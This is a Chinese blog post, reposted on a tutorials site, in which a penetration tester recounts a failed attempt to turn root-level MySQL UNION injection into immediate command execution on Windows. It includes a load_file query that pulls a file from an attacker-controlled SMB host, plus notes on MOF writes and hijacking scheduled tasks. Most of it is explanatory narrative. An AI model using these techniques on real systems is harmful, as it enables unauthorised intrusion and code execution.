一次失败的”写权限变立即执行”尝试 -电脑资料

电脑资料 时间:2019-01-01 我要投稿
【www.unjs.com - 电脑资料】

   

    Ps:觉得很有必要记录下这次探索的过程,你有更好的想法不妨提示我…

    场景:

    web — 外网,apache,PHP

    db — 内网,mysql,win 6.1 x64

    一个GET的UNION Select MySQLi,是Root权限,你会怎么玩?

    0×01 challenge I

    多语句执行执行问题,从很早起,包括defcon的文档 defcon-17-muhaimin_dzulfakar-adv_mysql-wp.pdf 介绍的高级注入技巧,在非stacked query支持下,都是围绕union select来展开的,而union select又基本绕着load_file和out_file来看齐.有的同学会说,PHP底层限制MySQL多语句执行是用来打破的(详见:http://zone.wooyun.org/index.php?do=view&id=50 ),但是很遗憾,这里压根没有用到PDO一类的.如果你有更 更猥琐的方式欢迎讨论~

    0×02 challenge II

    GET提交,根据RFC文档都知道URL是有长度限制的,想直接union select的方式来dump的话,不编码也很难控制.但是经过简单的思考,发现某些情况(为神马是某些情况,因为不能100%确认)其实是可以通过load_file远程文件来缩短URL限制的.

    类似 select load_file(‘//blackhat/Public/something_evil.txt’),blackhat机器为Linux并配置了Samba开启简单共享.同一交换环境下测试,能很顺利的读出内容,但是放到公网去测试,则有可能超时,另外由于很早之前的冲击波导致大量ISP在上层设备实际上就已经把139,445干掉了,所以这招的成功率略低,但假如恰好你在C段提了个root的机器呢?

    0×03 challenge III

    写权限变立即执行的尝试

    注意我这里强调的是“立即”,所以神马写启动项,或者DLL劫持一类的可以暂且不提.类似在低版本(=<5.1)的windows系统上kingcope大牛发过利用构造特殊脚本写入mof的方式来立即执行命令,但是在高版本中已经行不通了.有的同学可能会想到计划任务(以下称JOB的方式).在低版本的Windows是存在Job对应Reg中的映射关系的,任务会被放在c:\windows\tasks下,对应注册表的路径是,所以一般直接提交job文件是有问题的.而在新版本中,一开始我并没有在reg中搜到相关信息,并且配置文件改成了xml放到了c:\windows\system32\tasks这个新路径当中,想当然的以为直接往目录写新的配置就会加载运行了,实际上他会从[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\]取得一个CLSID,而这个CLSID对应着[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree]下的键值,既然不能通过新建配置来添加计划任务,那么我们替换同名配置文件呢.测试后发现确实可以进行文件的替换(高版本如果有UAC的话,先绕过UAC).但是计划任务管理器会优先从TaskCache中来读取对应的配置.所以此路不通了.

    回过头来想,在庞大且漏洞百出的Windows系统中,一定会有很多安全为业务让步的地方(绕过UAC就是一个典型的例子),Kingcope大牛他是如何找到的呢?这样的系统特性是通过做大量的样本Fuzz出来的吗?还是尊崇一定的系统原则从功能上去回溯出来的呢?这样的例子,在身边的朋友中也有,比如WEB代码审计,别人的做法可能是先寻找入口点,然后跟踪数据流向来审计SQL注入一类,但是朋友所诉的思路却是大量的Fuzz功能区的输入点,然后直接从DB的日志中去检索异常,这不得不说效率提高了很多而且也精准到位.

    俗话说厚积薄发,从今天的测试回过头来讲,实际上还是对某些特性不够了解,眼界开阔了才能走得更远!

    更新下思路(感谢大牛们):

    1.Fuzz某些会写入配置之类的立即执行的第三方程序

    2.替换计划任务中的EXE(找规则最短的执行)

    【本文中如有神马错误,请指出,不甚感激】

    ​

最新文章